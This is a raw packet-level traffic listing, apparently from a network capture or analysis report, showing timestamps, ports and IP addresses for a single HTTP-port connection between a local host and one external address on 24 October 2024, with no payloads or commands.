Oct 24, 2024 13:27:07.754607916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754607916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754621983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754626036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754637957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754643917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754653931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754661083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754668951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754678965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754690886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754694939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754710913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754715919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754726887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754743099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754756927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754756927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754759073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754775047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754781961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754781961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754793882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754800081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754811049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754817009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754827023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754838943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754843950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754854918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754861116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754873991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754878044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.754893064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754915953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.754915953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755304098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755328894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755346060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755358934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755362034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755381107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755383968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755384922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755395889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755403042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755414009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755425930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755445004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755461931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755462885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755480051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755491972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755506992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755517006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755517006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755522966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755536079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755539894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755557060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755562067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755562067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755572081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755582094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755589962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755599022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755605936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755614996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755621910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755630970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755636930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755646944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755654097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755666018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755671024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755685091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755686998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755703926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.755731106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755732059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755732059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.755755901 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756212950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756228924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756244898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756261110 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756275892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756275892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756277084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756293058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756297112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756310940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756320953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756321907 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756326914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756340027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756344080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756356001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756362915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756375074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756391048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756407022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756558895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756575108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756592035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756608963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.756609917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756638050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756638050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.756661892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757057905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757075071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757091045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757106066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757112980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757126093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757137060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757137060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757141113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757155895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757158041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757172108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757184982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757189035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757201910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757205963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757217884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757225037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757236004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757246017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757250071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757263899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757266045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757282972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757283926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757297039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757308006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757308006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757312059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757327080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757328987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757344007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757344961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757359982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757363081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757375956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757380009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757406950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.757407904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757431030 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.757446051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865200043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865251064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865288019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865322113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865355968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865391016 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865428925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865439892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865463018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865499020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865513086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865513086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865513086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865513086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865514040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865514040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865537882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865557909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865592003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865727901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865761995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865798950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865868092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865902901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.865915060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865916014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865916014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865916014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.865988016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.866134882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.866166115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.866220951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.866255999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.866288900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.866323948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.866333008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.866333961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.866333961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.866333961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.866333961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.866410971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.866655111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.866719961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.866754055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.866811037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.866816044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.866847038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.866869926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.866900921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867001057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867032051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867059946 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867082119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867083073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867116928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867135048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867151022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867177963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867185116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867197990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867219925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867239952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867255926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867276907 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867305994 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867404938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867465019 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867669106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867724895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867728949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867758989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867784023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867794037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867806911 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867846966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867850065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867882967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867908955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867918968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.867934942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.867974043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868009090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868042946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868069887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868079901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868105888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868114948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868139029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868151903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868174076 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868206024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868206978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868244886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868264914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868293047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868299961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868335009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868355036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868369102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868396044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868403912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868422031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868438959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868462086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868474960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868495941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868509054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868530989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868545055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868565083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868573904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868598938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868608952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868627071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868645906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868660927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868706942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868825912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868859053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868885994 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868892908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868906975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868927002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868944883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868961096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.868983030 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.868995905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869016886 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869029999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869052887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869065046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869081974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869102001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869123936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869136095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869160891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869172096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869196892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869208097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869230986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869240999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869254112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869278908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869299889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869333982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869373083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869405985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869438887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869438887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869458914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869474888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869503021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869510889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869523048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869545937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869566917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869580984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869606972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869615078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869632006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869649887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869678020 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869683027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869695902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869718075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869736910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869751930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869772911 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869785070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.869806051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.869842052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871052027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871104002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871119022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871140957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871156931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871177912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871200085 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871213913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871233940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.871244907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.871263027 CEST	49730	80	192.168.2.4	109.107.157.208
